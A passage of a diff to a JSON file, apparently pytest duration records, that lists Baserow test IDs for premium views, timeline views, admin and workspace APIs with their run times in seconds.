"baserow_premium_tests/views/test_premium_view_handler.py::test_duplicate_view_personal_ownership_type": 0.2933746240005348, - "baserow_premium_tests/views/test_premium_view_handler.py::test_field_options_personal_ownership_type": 0.2835066249999727, - "baserow_premium_tests/views/test_premium_view_handler.py::test_filters_personal_ownership_type": 0.2996720829996775, - "baserow_premium_tests/views/test_premium_view_handler.py::test_get_public_view_personal_ownership_type": 0.28009862399903795, - "baserow_premium_tests/views/test_premium_view_handler.py::test_get_rows_grouped_by_single_select_field": 0.05480308500045794, - "baserow_premium_tests/views/test_premium_view_handler.py::test_get_rows_grouped_by_single_select_field_not_existing_options_are_null": 0.03229683299923636, - "baserow_premium_tests/views/test_premium_view_handler.py::test_get_rows_grouped_by_single_select_field_with_empty_table": 0.024586624999756168, - "baserow_premium_tests/views/test_premium_view_handler.py::test_get_view_personal_ownership_type": 0.2808020000002216, - "baserow_premium_tests/views/test_premium_view_handler.py::test_list_views_personal_ownership_type": 0.2923762919999717, - "baserow_premium_tests/views/test_premium_view_handler.py::test_order_views_personal_ownership_type": 0.28879620900079317, - "baserow_premium_tests/views/test_premium_view_handler.py::test_sorts_personal_ownership_type": 0.31527233199904003, - "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_ownership_type_no_premium": 0.29419154199968034, - "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_ownership_type_owner_changed": 0.2924062500005675, - "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_ownership_type_valid_type_string": 0.16460941700097464, - "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_personal_ownership_type": 0.28003899899977114, - "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_slug_personal_ownership_type": 0.2732200840009682, - "baserow_premium_tests/views/test_premium_view_models.py::test_kanban_view_field_options_manager_field_trashed": 0.029855458999918483, - "baserow_premium_tests/views/test_premium_view_models.py::test_kanban_view_field_options_manager_view_trashed": 0.030845332999888342, - "baserow_premium_tests/views/test_premium_view_models.py::test_migration_remove_duplicate_fieldoptions": 0.00011245900168432854, - "baserow_premium_tests/views/test_premium_view_notification_types.py::test_user_stop_receiving_notification_if_another_user_change_view_ownership": 0.5557304589992782, - "baserow_premium_tests/views/test_premium_view_signals.py::test_remove_unused_personal_views": 0.4837885839997398, + "baserow_premium_tests/views/test_kanban_view_type.py::test_when_public_field_updated_number_of_queries_does_not_increase_with_amount_of_kanban_views": 0.4167516239685938, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_with_premium_license": 0.12919195799622685, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_with_premium_license_for_workspace": 0.1212534170190338, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_without_premium_license": 0.11919683296582662, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_create_survey_form_without_premium_license_for_workspace": 0.1183205840352457, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_existing_survey_form_without_premium_license": 0.12533108200295828, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_survey_form_with_premium_license": 0.10537674897932447, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_survey_form_with_premium_license_for_workspace": 0.12309016697690822, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_survey_form_without_premium_license_for_workspace": 0.11566579100326635, + "baserow_premium_tests/views/test_premium_form_view_mode_types.py::test_update_to_survey_form_without_premium_license": 0.11808950098929927, + "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_create_decoration": 0.1333704169956036, + "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_delete_decoration": 0.14561366703128442, + "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_redo_create_decoration": 0.1452270420268178, + "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_redo_delete_decoration": 0.15274287504144013, + "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_redo_update_decoration": 0.14568595800665207, + "baserow_premium_tests/views/test_premium_view_decoration_actions.py::test_can_undo_update_decoration": 0.1380752919940278, + "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_background_color_with_premium_license": 0.11810562500613742, + "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_background_color_without_premium_license": 0.11512591704376973, + "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_background_color_without_premium_license_for_workspace": 0.12469925003824756, + "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_left_border_color_with_premium_license": 0.13063133298419416, + "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_left_border_color_without_premium_license": 0.11900762596633285, + "baserow_premium_tests/views/test_premium_view_decorator_types.py::test_create_left_border_color_without_premium_license_for_workspace": 0.12286487498204224, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_color_filters_cannot_reference_non_existing_groups": 0.1347590010263957, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_conditional_color_value_provider_type_map_filter_from_config": 0.012780042015947402, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_conditional_color_with_premium_license": 0.12046820798423141, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_conditional_color_without_premium_license": 0.12041049997787923, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_conditional_color_without_premium_license_for_workspace": 0.12539587600622326, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_single_select_color_with_premium_license": 0.12270129306125455, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_single_select_color_without_premium_license": 0.1237312080047559, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_create_single_select_color_without_premium_license_for_workspace": 0.12436587401316501, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_field_deleted_w_decoration": 0.1785766240209341, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_field_type_changed_w_decoration": 0.2186967080051545, + "baserow_premium_tests/views/test_premium_view_decorator_value_provider_types.py::test_import_export_grid_view_w_decorator": 0.07401466701412573, + "baserow_premium_tests/views/test_premium_view_handler.py::test_aggregations_personal_ownership_type": 0.21405574996606447, + "baserow_premium_tests/views/test_premium_view_handler.py::test_create_view_personal_ownership_type": 0.11876679104170762, + "baserow_premium_tests/views/test_premium_view_handler.py::test_decorations_personal_ownership_type": 0.2055791239545215, + "baserow_premium_tests/views/test_premium_view_handler.py::test_delete_view_personal_ownership_type": 0.20253325000521727, + "baserow_premium_tests/views/test_premium_view_handler.py::test_duplicate_view_personal_ownership_type": 0.20945254201069474, + "baserow_premium_tests/views/test_premium_view_handler.py::test_field_options_personal_ownership_type": 0.18885375000536442, + "baserow_premium_tests/views/test_premium_view_handler.py::test_filters_personal_ownership_type": 0.21462150101433508, + "baserow_premium_tests/views/test_premium_view_handler.py::test_get_public_view_personal_ownership_type": 0.19255154198617674, + "baserow_premium_tests/views/test_premium_view_handler.py::test_get_rows_grouped_by_single_select_field": 0.08558595899376087, + "baserow_premium_tests/views/test_premium_view_handler.py::test_get_rows_grouped_by_single_select_field_not_existing_options_are_null": 0.07351812600973062, + "baserow_premium_tests/views/test_premium_view_handler.py::test_get_rows_grouped_by_single_select_field_with_empty_table": 0.05787183198845014, + "baserow_premium_tests/views/test_premium_view_handler.py::test_get_view_personal_ownership_type": 0.19820754198008217, + "baserow_premium_tests/views/test_premium_view_handler.py::test_list_views_personal_ownership_type": 0.21560270799091086, + "baserow_premium_tests/views/test_premium_view_handler.py::test_order_views_personal_ownership_type": 0.21661950001725927, + "baserow_premium_tests/views/test_premium_view_handler.py::test_sorts_personal_ownership_type": 0.21378050002385862, + "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_ownership_type_no_premium": 0.20649729197612032, + "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_ownership_type_owner_changed": 0.20403962495038286, + "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_ownership_type_valid_type_string": 0.14175404101843014, + "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_personal_ownership_type": 0.20208445799653418, + "baserow_premium_tests/views/test_premium_view_handler.py::test_update_view_slug_personal_ownership_type": 0.17738374997861683, + "baserow_premium_tests/views/test_premium_view_models.py::test_kanban_view_field_options_manager_field_trashed": 0.05806820699945092, + "baserow_premium_tests/views/test_premium_view_models.py::test_kanban_view_field_options_manager_view_trashed": 0.0619202500092797, + "baserow_premium_tests/views/test_premium_view_models.py::test_migration_remove_duplicate_fieldoptions": 8.745898958295584e-05, + "baserow_premium_tests/views/test_premium_view_notification_types.py::test_user_stop_receiving_notification_if_another_user_change_view_ownership": 0.5677484170009848, + "baserow_premium_tests/views/test_premium_view_signals.py::test_remove_unused_personal_views": 0.4536650409863796, "baserow_premium_tests/views/test_premium_view_type.py::test_new_fields_are_hidden_by_default_in_premium_views_if_other_fields_are_hidden[calendar]": 0.1672256660003768, "baserow_premium_tests/views/test_premium_view_type.py::test_new_fields_are_hidden_by_default_in_premium_views_if_other_fields_are_hidden[kanban]": 0.17061875000035798, - "baserow_premium_tests/views/test_premium_view_type.py::test_new_fields_are_hidden_by_default_in_premium_views_if_public[calendar]": 0.16535904100055632, - "baserow_premium_tests/views/test_premium_view_type.py::test_new_fields_are_hidden_by_default_in_premium_views_if_public[kanban]": 0.17252416599876597, - "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[collaborative-collaborative]": 0.31858604200078844, - "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[collaborative-personal]": 0.3228841249992911, - "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[personal-collaborative]": 0.33747129300081724, - "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[personal-personal]": 0.3194344169996839, - "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_view_signals_not_collaborative": 0.4139073329988605, - "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_view_updated_to_collaborative_signals": 0.330749043000651, - "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_view_updated_to_personal_signals": 0.3152208340015932, - "baserow_premium_tests/views/test_view_change_ownership_type.py::test_patch_view_validate_ownerhip_type_valid_types": 0.16556108300119377, - "baserow_premium_tests/views/test_view_ownership_type_permission_manager.py::test_all_operations_allowed_for_personal_views_have_been_checked_by_a_dev": 0.008037001001866884, - "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_created": 0.36960520800039376, - "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_deleted": 0.3781194589992083, - "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_restored": 0.41495070699875214, - "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_updated": 0.37857766700017237, - "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comments_notification_mode_updated": 0.32728866600064066, - "tests/baserow/api/actions/test_action_views.py::test_can_redo_an_action_and_get_correct_response_code": 0.18607800100016902, - "tests/baserow/api/actions/test_action_views.py::test_can_redo_an_action_group_and_get_correct_response_code": 0.20871591699960845, - "tests/baserow/api/actions/test_action_views.py::test_can_undo_an_action_and_get_correct_response_code": 0.2113017490000857, - "tests/baserow/api/actions/test_action_views.py::test_can_undo_an_action_group_and_get_correct_response_code": 0.18238875099905272, - "tests/baserow/api/actions/test_action_views.py::test_invalid_undo_redo_action_group_header_raise_error": 0.1474727080003504, - "tests/baserow/api/actions/test_action_views.py::test_redoing_an_action_which_fails_returns_correct_result_code": 0.1805289169997195, - "tests/baserow/api/actions/test_action_views.py::test_redoing_when_field_locked_fails_and_doesnt_skip": 0.39345450100063317, - "tests/baserow/api/actions/test_action_views.py::test_redoing_when_nothing_to_do_response_with_correct_code": 0.14820020899878728, - "tests/baserow/api/actions/test_action_views.py::test_redoing_without_session_id_returns_error": 0.14943575100005546, - "tests/baserow/api/actions/test_action_views.py::test_undoing_an_action_which_fails_returns_correct_result_code": 0.17462845900081447, - "tests/baserow/api/actions/test_action_views.py::test_undoing_field_delete_whilst_field_locked_works": 0.3431960000007166, - "tests/baserow/api/actions/test_action_views.py::test_undoing_when_field_locked_fails_and_doesnt_skip": 0.39005779099989013, - "tests/baserow/api/actions/test_action_views.py::test_undoing_when_nothing_to_do_response_with_correct_code": 15.429082631999336, - "tests/baserow/api/actions/test_action_views.py::test_undoing_without_session_id_returns_error": 0.14681112600010238, - "tests/baserow/api/applications/test_application_views.py::test_anon_user_can_list_apps_of_app_in_template_workspace": 0.15545604299950355, - "tests/baserow/api/applications/test_application_views.py::test_can_create_different_application_types[application_type0]": 0.1609067920007874, - "tests/baserow/api/applications/test_application_views.py::test_can_create_different_application_types[application_type1]": 0.1822554999998829, - "tests/baserow/api/applications/test_application_views.py::test_create_application": 0.16776929200023005, - "tests/baserow/api/applications/test_application_views.py::test_delete_application": 0.30064266600038536, - "tests/baserow/api/applications/test_application_views.py::test_duplicate_application_errors": 0.28975370900025155, - "tests/baserow/api/applications/test_application_views.py::test_duplicate_application_schedule_job": 0.44409312499919906, - "tests/baserow/api/applications/test_application_views.py::test_duplicate_job_response_serializer": 0.3362320409996755, - "tests/baserow/api/applications/test_application_views.py::test_get_application": 0.3051168329993743, - "tests/baserow/api/applications/test_application_views.py::test_list_applications": 0.21982883300006506, - "tests/baserow/api/applications/test_application_views.py::test_list_applications_with_permissions": 0.2963650849987971, - "tests/baserow/api/applications/test_application_views.py::test_order_applications": 0.16867308299970318, + "baserow_premium_tests/views/test_premium_view_type.py::test_new_fields_are_hidden_by_default_in_premium_views_if_public[calendar]": 0.12713187499321066, + "baserow_premium_tests/views/test_premium_view_type.py::test_new_fields_are_hidden_by_default_in_premium_views_if_public[kanban]": 0.12372324999887496, + "baserow_premium_tests/views/test_premium_view_type.py::test_new_fields_are_hidden_by_default_in_premium_views_if_public[timeline]": 0.1345504589844495, + "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[collaborative-collaborative]": 0.34478716799640097, + "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[collaborative-personal]": 0.34009999997215346, + "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[personal-collaborative]": 0.3370651670265943, + "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_broadcast_to_users_ownership_changed[personal-personal]": 0.34374354101601057, + "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_view_signals_not_collaborative": 0.4923692909651436, + "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_view_updated_to_collaborative_signals": 0.389312084967969, + "baserow_premium_tests/views/test_premium_ws_view_signals.py::test_view_updated_to_personal_signals": 0.6629752499866299, + "baserow_premium_tests/views/test_timeline_view_type.py::test_can_undo_redo_update_timeline_view": 0.18060420802794397, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_after_delete_field_set_date_field_to_none": 0.16684708397951908, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_created": 0.1470832510094624, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_date_field_same_table": 0.181041792005999, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_hidden_fields_all_fields": 0.14510616700863466, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_hidden_fields_no_date_field": 0.11509845801629126, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_hidden_fields_with_field_ids_to_check": 0.14824150101048872, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_hidden_fields_with_hidden_and_visible_fields": 0.15489441598765552, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_hidden_fields_with_hidden_date_field": 0.12228025001240894, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_hidden_fields_without_date_field_option": 0.12361941600102, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_rows_raises_if_date_settings_are_invalid": 8.007776208018186, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_visible_fields_options_hidden_date_field": 0.14435737498570234, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_visible_fields_options_no_date_field": 0.15883962498628534, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_visible_fields_options_visible_date_field": 0.1391052909893915, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_get_visible_fields_options_without_date_field_option": 0.13902691696421243, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_hierarchy": 0.1315384159970563, + "baserow_premium_tests/views/test_timeline_view_type.py::test_timeline_view_import_export": 0.14861691699479707, + "baserow_premium_tests/views/test_view_change_ownership_type.py::test_patch_view_validate_ownerhip_type_valid_types": 0.14457462399150245, + "baserow_premium_tests/views/test_view_ownership_type_permission_manager.py::test_all_operations_allowed_for_personal_views_have_been_checked_by_a_dev": 0.013088833016809076, + "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_created": 0.4114800420065876, + "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_deleted": 0.44294062597327866, + "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_restored": 0.4439787079754751, + "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comment_updated": 0.437851959024556, + "baserow_premium_tests/ws/test_ws_row_comments_signals.py::test_row_comments_notification_mode_updated": 0.39411841801484115, + "tests/baserow/api/actions/test_action_views.py::test_can_redo_an_action_and_get_correct_response_code": 0.14228537402232178, + "tests/baserow/api/actions/test_action_views.py::test_can_redo_an_action_group_and_get_correct_response_code": 0.18874154100194573, + "tests/baserow/api/actions/test_action_views.py::test_can_undo_an_action_and_get_correct_response_code": 0.11894520799978636, + "tests/baserow/api/actions/test_action_views.py::test_can_undo_an_action_group_and_get_correct_response_code": 0.13910458300961182, + "tests/baserow/api/actions/test_action_views.py::test_invalid_undo_redo_action_group_header_raise_error": 0.08317958400584757, + "tests/baserow/api/actions/test_action_views.py::test_redoing_an_action_which_fails_returns_correct_result_code": 0.14496629202039912, + "tests/baserow/api/actions/test_action_views.py::test_redoing_when_field_locked_fails_and_doesnt_skip": 0.447917958983453, + "tests/baserow/api/actions/test_action_views.py::test_redoing_when_nothing_to_do_response_with_correct_code": 0.08789045803132467, + "tests/baserow/api/actions/test_action_views.py::test_redoing_without_session_id_returns_error": 0.08605433398042805, + "tests/baserow/api/actions/test_action_views.py::test_undoing_an_action_which_fails_returns_correct_result_code": 0.1274138749577105, + "tests/baserow/api/actions/test_action_views.py::test_undoing_field_delete_whilst_field_locked_works": 0.3747945420036558, + "tests/baserow/api/actions/test_action_views.py::test_undoing_when_field_locked_fails_and_doesnt_skip": 0.5601490839908365, + "tests/baserow/api/actions/test_action_views.py::test_undoing_when_nothing_to_do_response_with_correct_code": 1.5234318330185488, + "tests/baserow/api/actions/test_action_views.py::test_undoing_without_session_id_returns_error": 0.0861077920126263, + "tests/baserow/api/admin/dashboard/test_admin_dashboard_views.py::test_admin_dashboard": 0.5669217499962542, + "tests/baserow/api/admin/groups/test_workspaces_admin_views.py::test_cant_delete_template_workspace": 0.09312720800517127, + "tests/baserow/api/admin/groups/test_workspaces_admin_views.py::test_delete_workspace": 0.17904249904677272, + "tests/baserow/api/admin/groups/test_workspaces_admin_views.py::test_list_admin_workspaces": 0.2087816660059616, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_accessing_invalid_user_admin_page_returns_empty_list": 0.08580341699416749, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_accessing_user_admin_with_invalid_page_size_returns_error": 0.08620575000531971, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_can_create_user": 0.27381537400651723, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_can_delete_user": 0.1871849180024583, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_can_patch_user": 0.16198645901749842, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_can_patch_user_without_providing_password": 0.09234025000478141, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_can_search_users": 0.15889454103307799, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_can_see_admin_users_endpoint": 0.09379041698412038, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_can_sort_users": 0.16150333295809105, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_cannot_create_user_that_already_exists": 0.15528658201219514, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_cannot_create_user_without_body": 0.08495874897926114, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_getting_view_users_only_runs_two_queries_instead_of_n": 1.5160872499691322, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_impersonate_not_existing_user": 0.09068854199722409, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_impersonate_staff_or_superuser": 0.29846699998597614, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_impersonate_user": 0.1606813760008663, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_impersonate_user_as_normal_user": 0.15701374999480322, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_update_to_existing_user": 0.15962083303020336, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_admin_with_invalid_token_cannot_see_admin_users": 0.08482162503059953, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_error_returned_when_invalid_field_supplied_to_edit": 0.0888011250353884, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_error_returned_when_updating_user_with_invalid_email": 0.08795512502547354, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_error_returned_when_valid_and_invalid_fields_supplied_to_edit": 0.08786516499822028, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_invalid_password_returns_400[984kds]": 0.15529600001173094, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_invalid_password_returns_400[a]": 0.1577964579919353, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_invalid_password_returns_400[ab]": 0.15434820999507792, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_invalid_password_returns_400[ask]": 0.157767500000773, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_invalid_password_returns_400[dsfkjh4]": 0.16257141696405597, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_invalid_password_returns_400[dsj43]": 0.15085470798658207, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_invalid_password_returns_400[oiue]": 0.15568220801651478, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_non_admin_cannot_delete_user": 0.15613112502614968, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_non_admin_cannot_patch_user": 0.08901850003167056, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_non_admin_cannot_see_admin_users_endpoint": 0.08590233299764805, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_blank_sorts_provided": 0.08960391697473824, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_invalid_sort_direction_provided": 0.08839133399305865, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_invalid_sort_field_provided": 0.0869159169960767, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_invalid_sorts_mixed_with_valid_ones": 0.08720883299247362, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_no_sorts_provided": 0.08703179203439504, + "tests/baserow/api/admin/users/test_users_admin_views.py::test_returns_error_response_if_sort_direction_not_provided": 0.08678791701095179, + "tests/baserow/api/applications/test_application_views.py::test_anon_user_can_list_apps_of_app_in_template_workspace": 0.11762545799138024, + "tests/baserow/api/applications/test_application_views.py::test_can_create_different_application_types[application_type0]": 0.10578612599056214, + "tests/baserow/api/applications/test_application_views.py::test_can_create_different_application_types[application_type1]": 0.10417449902161025, + "tests/baserow/api/applications/test_application_views.py::test_can_create_different_application_types[application_type2]": 0.11076054195291363, + "tests/baserow/api/applications/test_application_views.py::test_can_create_different_application_types[application_type3]": 0.16413937497418374, + "tests/baserow/api/applications/test_application_views.py::test_create_application": 0.1247657909989357, + "tests/baserow/api/applications/test_application_views.py::test_delete_application": 0.1893028750200756, + "tests/baserow/api/applications/test_application_views.py::test_duplicate_application_errors": 0.16882208301103674, + "tests/baserow/api/applications/test_application_views.py::test_duplicate_application_schedule_job": 0.4041272909962572, + "tests/baserow/api/applications/test_application_views.py::test_duplicate_job_response_serializer": 0.3641235409886576, + "tests/baserow/api/applications/test_application_views.py::test_get_application": 0.1898214170068968, + "tests/baserow/api/applications/test_application_views.py::test_list_applications": 0.22210079201613553, + "tests/baserow/api/applications/test_application_views.py::test_list_applications_with_permissions": 0.3288562910165638, + "tests/baserow/api/applications/test_application_views.py::test_list_applications_without_workspace": 0.08994850001181476, + "tests/baserow/api/applications/test_application_views.py::test_order_applications": 0.12757883296580985, "tests/baserow/api/applications/test_application_views.py::test_order_tables": 0.08732801699807169, - "tests/baserow/api/applications/test_application_views.py::test_update_application": 0.32111375000022235, + "tests/baserow/api/applications/test_application_views.py::test_update_application": 0.2226014580228366, "tests/baserow/api/groups/test_group_invitation_views.py::test_accept_group_invitation": 0.1192221650017018, "tests/baserow/api/groups/test_group_invitation_views.py::test_create_group_invitation": 0.23831854600211955, "tests/baserow/api/groups/test_group_invitation_views.py::test_delete_group_invitation": 0.18680762800067896, @@ -1214,308 +2007,403 @@ "tests/baserow/api/groups/test_group_views.py::test_reorder_groups": 0.06558921799660311, "tests/baserow/api/groups/test_group_views.py::test_trashed_group_not_returned_by_views": 0.060907724997377954, "tests/baserow/api/groups/test_group_views.py::test_update_group": 0.14538863000052515, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_accept_workspace_invitation": 0.5127326250003534, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_create_workspace_invitation": 0.49809641700085194, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_create_workspace_invitation_max_pending": 0.16672995799945056, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_delete_workspace_invitation": 0.437976999998682, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_get_workspace_invitation": 0.4342456670001411, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_get_workspace_invitation_by_token": 0.4445601669995085, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_list_workspace_invitations": 0.37094333400091273, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_reject_workspace_invitation": 0.2959537500000806, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_update_workspace_invitation": 0.44583595900076034, - "tests/baserow/api/groups/test_workspace_invitation_views.py::test_when_workspace_is_trashed_so_is_invitation": 0.18425358299919026, - "tests/baserow/api/groups/test_workspace_user_views.py::test_delete_workspace_user": 0.44503879099920596, - "tests/baserow/api/groups/test_workspace_user_views.py::test_get_workspace_user_search": 0.43479670899978373, - "tests/baserow/api/groups/test_workspace_user_views.py::test_get_workspace_user_sorts": 0.42532033400038927, - "tests/baserow/api/groups/test_workspace_user_views.py::test_if_workspace_trashed_then_workspace_user_is_trashed": 0.1717670830003044, - "tests/baserow/api/groups/test_workspace_user_views.py::test_list_workspace_users": 0.4521559590002653, - "tests/baserow/api/groups/test_workspace_user_views.py::test_update_workspace_user": 0.43419533300038893, - "tests/baserow/api/groups/test_workspace_views.py::test_create_initial_workspace": 0.2684516259987504, - "tests/baserow/api/groups/test_workspace_views.py::test_create_workspace": 0.1572086260002834, - "tests/baserow/api/groups/test_workspace_views.py::test_delete_workspace": 0.2976369580001119, - "tests/baserow/api/groups/test_workspace_views.py::test_leave_workspace": 0.29493291600010707, - "tests/baserow/api/groups/test_workspace_views.py::test_list_workspaces": 0.15766520899978786, - "tests/baserow/api/groups/test_workspace_views.py::test_list_workspaces_with_users": 0.5576548749995709, - "tests/baserow/api/groups/test_workspace_views.py::test_only_admin_can_list_generative_ai_settings": 0.31960962599987397, - "tests/baserow/api/groups/test_workspace_views.py::test_reorder_workspaces": 0.15275616699909733, - "tests/baserow/api/groups/test_workspace_views.py::test_trashed_workspace_not_returned_by_views": 0.15472166600011406, - "tests/baserow/api/groups/test_workspace_views.py::test_update_workspace": 0.29668929100080277, - "tests/baserow/api/groups/test_workspace_views.py::test_workspace_settings_override_global_generative_ai_settings": 0.2913907090005523, - "tests/baserow/api/health/test_email_tester_views.py::test_anonymous_user_cant_trigger_test_email": 0.01219237500026793, - "tests/baserow/api/health/test_email_tester_views.py::test_non_staff_user_cant_trigger_test_email": 0.1723319580005409, - "tests/baserow/api/health/test_email_tester_views.py::test_staff_user_can_trigger_test_email": 0.1508225420002418, - "tests/baserow/api/health/test_email_tester_views.py::test_staff_user_can_trigger_test_email_and_see_error_if_fails": 0.15070316700075637, - "tests/baserow/api/health/test_health_views.py::test_anonymous_user_cant_get_full_health_checks": 0.011241041998800938, - "tests/baserow/api/health/test_health_views.py::test_full_health_check_endpoint_returns_dict_of_checks_vs_status_with_200_status": 0.148767207999299, - "tests/baserow/api/health/test_health_views.py::test_non_staff_user_cant_get_full_health_checks": 0.14617199999975128, - "tests/baserow/api/health/test_health_views.py::test_passing_is_false_when_one_critical_service_fails": 0.14545675099998334, - "tests/baserow/api/health/test_health_views.py::test_staff_user_can_get_full_health_checks": 0.1473990420008704, - "tests/baserow/api/integrations/test_integration_views.py::test_create_integration": 0.18160475100012263, - "tests/baserow/api/integrations/test_integration_views.py::test_create_integration_application_does_not_exist": 0.14716654200037738, - "tests/baserow/api/integrations/test_integration_views.py::test_create_integration_bad_application_type": 0.15118420899943885, - 